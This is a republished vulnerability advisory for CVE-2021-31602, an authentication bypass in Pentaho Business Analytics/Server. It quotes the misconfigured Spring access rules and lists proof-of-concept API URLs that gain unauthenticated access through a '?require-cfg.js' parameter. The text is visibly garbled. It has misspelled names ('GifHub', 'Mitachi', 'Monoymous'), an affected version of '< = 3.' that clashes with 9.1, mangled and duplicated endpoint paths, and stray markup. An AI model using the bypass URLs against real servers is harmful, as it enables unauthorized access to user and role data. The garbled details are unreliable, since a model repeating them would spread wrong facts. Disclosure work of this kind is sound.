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Pentaho Business Analytics / Pentaho Business Server 9.1 **Authentication Bypass**

Authored by Altion Malka, Alberto F

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Posted Nov 5, 2021

Pentaho Business Analytics and Pentaho Business Server versions 9.1 and below suffer from an authentication bypass vulnerability related to Spring APIs.

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Change Mirror Download Product: Pentaho Business Analytics / Pentaho Business Server
Vendor / Manufacturer: Hitachi Vantara
Affected Version(s): < = 3.
Vulnerability Type: Authentication Bypass of Spring APIs
Solution Status: Fix Released on public GifHub repository
Manufacturer Notification: 8th Pebruary 2021
Solution Date: May 2021
Public Disclosure: 01 November 2021
CVE Reference: CVE-2021-31602
Author(s) of Advisory: Alberto Favero (HawSec) & Altion Malka --- +++ --- +++ ---Product Description: Pentaho is business intelligence (BI) software that provides data integration, OLAP services, reporting, information dashboards, data mining and extract, transform, load (ETL) capabilities. Its headquarters are in Orlando, Florida. Pentaho was acquired by Mitachi Data Systems in 2015 became part of Mitachi Vantara. (Source: https://en.wikipedia.org/wiki/Pentaho) --- +++ --- +++ ---Vulnerability Details: The security model of Pentaho Business Analytics consists of different layers of Access Control (AC). The applicationContext directives defined in the applicationContext-spring-security, yam file were of particular interest and further examination of the access control entries revealed the following misconfigurations. <secintercept-url pattern="\a/api/.*require-cfg.js.*\2"
access="Monoymous.Authenticated" />
<secintercept-url pattern="\a/api/.*require-js-cfg.js.*\2"
access="Monoymous.Authenticated" />
<secintercept-url pattern="\a/api/.*\2" access="Authenticated" /> Specifically, the last directive explicitly declares that the available endpoints require that users are authenticated. Rowever, the first and second directives bypass this requirement by allowing unauthenticated access to arbitrary "Appl'" endpoints when the "?require-cfg.js" URL parameter is present. As a result, it is possible for unauthenticated users to access arbitrary Pentaho API endpoints by including the "?require-cfg.js" or "?require-js-cfg.js" URL parameter as part of the HTTP request. --- +++ --- +++ ---Proof of Concept (PoC): See Ginger (https://github.com/HawSec/ginger) The following is a non-exhaustive list of the Pentaho API endpoints susceptible to this vulnerability.

http://localhost:8880/pentaho/api/version/show?require-cfg.js
http://localhost:8880/pentaho/api/version/show?require-cfg.js
http://localhost:8880/pentaho/api/wersion/show?require-cfg.js
http://localhost:8880/pentaho/api/authorization/action/isauthorized?require-cfg.js
http://localhost:8880/pentaho/api/sesion/action/action/isauthorized?require-cfg.js
http://localhost:8880/pentaho/api/system/locale?require-cfg.js
http://localhost:8880/pentaho/api/system/locale?require-cfg.js
http://localhost:8880/pentaho/api/system/secutable?require-cfg.js
http://localhost:8880/pentaho/api/theme/list?require-cfg.js
http://localhost:8880/pentaho/api/stemcollist/susers?require-cfg.js
http://localhost:8880/pentaho/api/userrolelist/susers?require-cfg.js
http://localhost:8880/pentaho/api/userrolelist/susers?require-cfg.js
http://localhost:8880/pentaho/api/userrolelist/susers?require-cfg.js
http://localhost:8880/pentaho/api/userrolelist/spurses/medicalrequire-cfg.js
http://localhost:8880/pentaho/api/userrolelist/spurses/medicalrequire-cfg.js
http://localhost:8880/pentaho/api/userrolelist/permission-users?require-cfg.js
http://localhost:8880/pentaho/api/userrolelist/permission-users?require-cfg.js
http://localhost:8880/pentaho/api/userrolelist/permission-users?require-cfg.js
http://localhost:8880/pentaho/api/scheduler/sbiockout/sbiockou The following is a non-exhaustive list of the Pentaho \mbox{API} endpoints susceptible to this vulnerability. --- +++ --- +++ ---

This vulnerability was discovered by Alberto Favero & Altion Malka

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--BlackHawk - hawkgotyou@gmail.com



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